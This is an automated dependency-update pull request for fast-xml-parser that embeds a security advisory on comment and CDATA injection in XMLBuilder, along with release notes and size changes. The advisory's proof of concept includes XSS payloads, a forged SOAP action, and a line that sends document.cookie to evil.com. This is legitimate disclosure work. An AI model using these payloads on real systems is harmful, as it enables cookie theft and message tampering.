Update dependency fast-xml-parser to v5.7.0 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
fast-xml-parser	5.5.7 → 5.7.0

---

fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

CVE-2026-41650 / GHSA-gh4j-gqv2-49f6

More information

Details

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

• CVE-2023-26920: Prototype pollution (parser)
• CVE-2023-34104: ReDoS (parser)
• CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
• CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
2. SOAP injection: Modify SOAP message structure by injecting XML elements
3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#​45;&#​45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6
• https://github.com/advisories/GHSA-gh4j-gqv2-49f6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

NaturalIntelligence/fast-xml-parser (fast-xml-parser)

v5.7.0

Compare Source

v5.6.0

Compare Source

v5.5.12

Compare Source

v5.5.11

Compare Source

v5.5.10: performance improvment, increase entity expansion default limit

Compare Source

• increase default entity explansion limit as many projects demand for that

maxEntitySize: 10000,
maxExpansionDepth: 10000,
maxTotalExpansions: Infinity,
maxExpandedLength: 100000,
maxEntityCount: 1000,

• performance improvement
  • reduce calls to toString
  • early return when entities are not present
  • prepare rawAttrsForMatcher only if user sets jPath: false

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.5.9...v5.5.10

v5.5.9: fix typins and matcher instance in callbacks

Compare Source

combine typings file to avoid configuration changes
pass readonly instance of matcher to the call backs to avoid accidental push/pop call

v5.5.8

Compare Source

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📊 Dependency Size Changes

Warning

This PR adds 252.6 kB of new dependencies, which exceeds the threshold of 100 kB.

📦 Package	📏 Size
fast-xml-parser@5.5.7 → fast-xml-parser@5.7.0	153.6 kB
@nodable/entities@2.1.0	60.3 kB
path-expression-matcher@1.1.3 → path-expression-matcher@1.5.0	50.7 kB
strnum@2.2.1 → strnum@2.2.3	-12.6 kB
fast-xml-builder@1.1.4 → fast-xml-builder@1.1.5	685 B

Total size change: 252.6 kB